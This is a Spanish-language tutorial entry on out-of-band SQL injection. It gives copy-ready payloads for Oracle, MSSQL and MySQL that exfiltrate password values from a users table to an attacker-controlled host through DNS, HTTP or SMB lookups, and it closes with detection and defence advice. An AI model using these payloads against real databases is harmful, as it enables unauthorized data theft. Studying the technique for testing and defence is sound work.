Out-of-Band SQL Injection
Arsenal completo de comandos en la cheatsheetLa inyección SQL fuera de banda (out-of-band, OOB) se usa cuando la inyección no devuelve nada útil en la respuesta (ni resultado, ni error, ni diferencia de tiempo fiable): en vez de leer la salida en el mismo canal HTTP, se fuerza a la base de datos a abrir una conexión de red hacia un servidor del atacante (DNS o HTTP), y el dato viaja por ese segundo canal. Es la evolución de la ciega cuando ni siquiera el tiempo sirve.
Primero se confirma que la base de datos puede hablar hacia fuera provocando una interacción con un colaborador (Burp Collaborator o un dominio propio). Cada motor tiene su primitiva de red:
-- Oracle: UTL_HTTP / la resolución del DTD externo
' UNION SELECT UTL_HTTP.REQUEST('http://<lhost>/') FROM dual-- -
-- MSSQL: coerción SMB/UNC (se ve en un responder/tcpdump)
'; EXEC master..xp_dirtree '\\<lhost>\x'-- -
-- MySQL (Windows): LOAD_FILE contra un UNC propio (necesita FILE y secure_file_priv permisivo)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.<lhost>\\x'))-- -Confirmado el canal, se exfiltra el dato incrustándolo en el nombre de host de la consulta: la propia resolución DNS lleva la contraseña como subdominio hacia el servidor del atacante, que la lee en su log.
-- Oracle: el dato va en el subdominio de la petición fuera de banda
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<lhost>/"> %x;]>'),'/l') FROM dual-- -
-- MSSQL: el hash/dato viaja en el nombre de host del UNC (se lee en responder)
'; DECLARE @d varchar(1024); SELECT @d=(SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\\'+@d+'.<lhost>\x"')-- -Requisitos. La base de datos debe (1) tener capacidad de red saliente (funciones como UTL_HTTP, xp_dirtree, LOAD_FILE con UNC) y (2) que el firewall permita esa salida hacia el atacante. Si el motor no puede iniciar conexiones o la red las bloquea, no hay canal OOB.
Cómo detectarlo. La firma es tráfico saliente inesperado desde el servidor de base de datos hacia un host externo (consultas DNS con subdominios largos y aleatorios, o conexiones HTTP/SMB salientes) originadas por la cuenta de la aplicación. Un IDS de red o el egress logging lo delatan; la app nunca debería iniciar esas conexiones.
Defensa. Consultas parametrizadas, revocar los privilegios de red de la base de datos (deshabilitar UTL_HTTP/UTL_TCP, paquetes externos), y filtrar el egress: el servidor de base de datos no debería poder abrir conexiones arbitrarias a Internet. Comparte objetivo con la SQLi ciega y la basada en errores.